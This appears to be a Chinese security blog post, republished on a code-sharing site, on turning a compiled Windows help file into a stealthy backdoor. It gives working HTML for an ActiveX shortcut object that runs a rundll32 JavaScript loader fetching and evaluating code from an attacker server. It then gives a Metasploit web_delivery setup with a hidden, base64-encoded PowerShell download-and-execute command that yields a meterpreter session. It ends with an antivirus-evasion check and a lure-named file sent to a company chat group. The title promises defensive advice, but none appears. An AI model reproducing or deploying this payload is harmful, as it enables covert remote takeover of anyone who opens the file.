未加星标

高级组合技打造捆绑后门及防御建议

字体大小 | |
[前端(javascript) 所属分类 前端(javascript) | 发布者 店小二04 | 时间 2018 | 作者 红领巾 ] 0人收藏点击收藏
0×01 CHM简介 在介绍怎么使用CHM来作为后门之前,首先要知道CMH是什么东西。
CHM(Compiled Help Manual)即“已编译的帮助文件”。它是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。CHM支持Javas cript、VBs cript、ActiveX、Java Applet、Flash、常见图形文件(GIF、JPEG、PNG)、音频视频文件(MID、WAV、AVI)等等,并可以通过URL与Internet联系在一起。因为使用方便,形式多样也被采用作为电子书的格式。 0×02 CHM制作

CHM的制作方法很多。有多款工具可以使用,这里就不在做详细的介绍了。本次测试使用了EasyCHM来制作CHM文件,使用起来非常简单。

新建如下目录,文件内容随意:
高级组合技打造捆绑后门及防御建议

打开EasyCHM,新建->浏览。选择该目录。默认文件类型:


高级组合技打造捆绑后门及防御建议
点击确认,即可看到预览的CHM文件:
高级组合技打造捆绑后门及防御建议

选择编译,即可编译成CHM文件。

0×03 CHM Execute Command

14年的时候@ithurricanept在twitter上发了一个demo,通过CHM运行计算器:


高级组合技打造捆绑后门及防御建议

利用代码如下:

<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>command exec <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1><PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',calc.exe'> <PARAM name="Item2" value="273,1,1"></OBJECT><SCRIPT>x.Click();</SCRIPT></body></html> 将以上代码写入html,置于工程目录进行编译,生成CHM文件,运行此文件,弹出计算器:
高级组合技打造捆绑后门及防御建议
0×04 去除弹框

有测试过nishang Out-CHM 的同学会发现,运行生成的CHM文件的时候会看到明显的弹框。就像这样:


高级组合技打造捆绑后门及防御建议

某个晚上突然脑洞了一下,想到了一个好的方式来让他不显示弹框,即结合使用 javascript Backdoor 。经过测试,成功实现在不弹框的情况下获取meterpreter会话,此次测试使用一个我修改过的python版 JSRat.ps1 ,地址为: https://github.com/Ridter/MyJSRat 。使用方式详见 readme。

以下为完整的测试过程:

1.结合CHM + JSBackdoor

使用交互模式的JSRat server:

python MyJSRat.py -i 192.168.1.101 -p 8080
高级组合技打造捆绑后门及防御建议

访问 http://192.168.1.101:8080/wtf 获取攻击代码如下:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.1.101:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

经过多次测试,成功将以上命令写入chm,其Html代码为:

<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>This is a demo ! <br><OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1><PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET"," http://192.168.1.101:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'> <PARAM name="Item2" value="273,1,1"></OBJECT><SCRIPT>x.Click();</SCRIPT></body></html>

编译以后运行,可以成功获取JS交互shell:


高级组合技打造捆绑后门及防御建议

直接执行cmd /c command 是会有黑框的,可以使用run来避免显示黑框。执行run以后,输入 whoami > e:\1.txt 之后通过read来获取回显。

2.获取meterpreter会话

此次测试获取meterpreter会话的方式是通过执行powershell命令,直接获取,当获取客户端JS交互shell之后自动执行powershell命令,获取meterpreter会话。具体操作如下:

开启MSF web_delivery:

~ msfconsole -Lqmsf > use exploit/multi/script/web_deliverymsf exploit(web_delivery) > set target 2target => 2msf exploit(web_delivery) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf exploit(web_delivery) > set lhost 192.168.1.101lhost => 192.168.1.101msf exploit(web_delivery) > set lport 6666lport => 6666msf exploit(web_delivery) > set SRVPORT 8081SRVPORT => 8081msf exploit(web_delivery) > set uripath /uripath => /msf exploit(web_delivery) > exploit[*] Exploit running as background job.msf exploit(web_delivery) >[*] Started reverse TCP handler on 192.168.1.101:6666[*] Using URL: http://0.0.0.0:8081/[*] Local IP: http://192.168.1.101:8081/[*] Server started.[*] Run the following command on the target machine:powershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://192.168.1.101:8081/');

装有powershell的客户端执行以下命令则可获取meterpreter会话:

powershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://192.168.1.101:8081/');

由于存在特殊字符,我们可以把以上代码编码为base64格式,将以下代码存入power.txt:

$n=new-object net.webclient; $n.proxy=[Net.WebRequest]::GetSystemWebProxy(); $n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials; IEX $n.downloadstring('http://192.168.1.101:8081/');

执行以下命令:

cat power.txt | iconv --to-code UTF-16LE |base64
高级组合技打造捆绑后门及防御建议

最终要执行的powershell命令为:

powershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AAoAIAAkAG4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsACgAgACQAbgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoAIABJAEUAWAAgACQAbgAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAxADoAOAAwADgAMQAvACcAKQA7AA==

使用执行命令模式直接获取meterpreter会话:

python MyJSRat.py -i 192.168.1.101 -p 8080 -c "powershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AAoAIAAkAG4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsACgAgACQAbgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoAIABJAEUAWAAgACQAbgAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAxADoAOAAwADgAMQAvACcAKQA7AA=="

测试过程中,从运行CHM到获取meterpreter,客户端无明显异常,全程无黑框弹出,获取到meterpreter会话如下图:

3.是否被杀?

可能很多人会问,会不会被杀,下面是virscan的查杀结果:

http://r.virscan.org/report/6173ee9c62d29806bb84035a8f1738ba
高级组合技打造捆绑后门及防御建议
0×05 利用场景
高级组合技打造捆绑后门及防御建议

注:随便找了几个漏洞利用工具修改了文件名,并不代表原作者分享的工具有问题。

0×06 实际测试

是用上述方式制作chm文件,命名为一个比较有吸引力的名字,比如在公司技术群发了一个名字为”制作免杀后门.chm”的文件,实际测试结果如下图:


高级组合技打造捆绑后门及防御建议

本文前端(javascript)相关术语:javascript是什么意思 javascript下载 javascript权威指南 javascript基础教程 javascript 正则表达式 javascript设计模式 javascript高级程序设计 精通javascript javascript教程

代码区博客精选文章
分页:12
转载请注明
本文标题:高级组合技打造捆绑后门及防御建议
本站链接:https://www.codesec.net/view/610702.html


1.凡CodeSecTeam转载的文章,均出自其它媒体或其他官网介绍,目的在于传递更多的信息,并不代表本站赞同其观点和其真实性负责;
2.转载的文章仅代表原创作者观点,与本站无关。其原创性以及文中陈述文字和内容未经本站证实,本站对该文以及其中全部或者部分内容、文字的真实性、完整性、及时性,不作出任何保证或承若;
3.如本站转载稿涉及版权等问题,请作者及时联系本站,我们会及时处理。
登录后可拥有收藏文章、关注作者等权限...
技术大类 技术大类 | 前端(javascript) | 评论(0) | 阅读(67)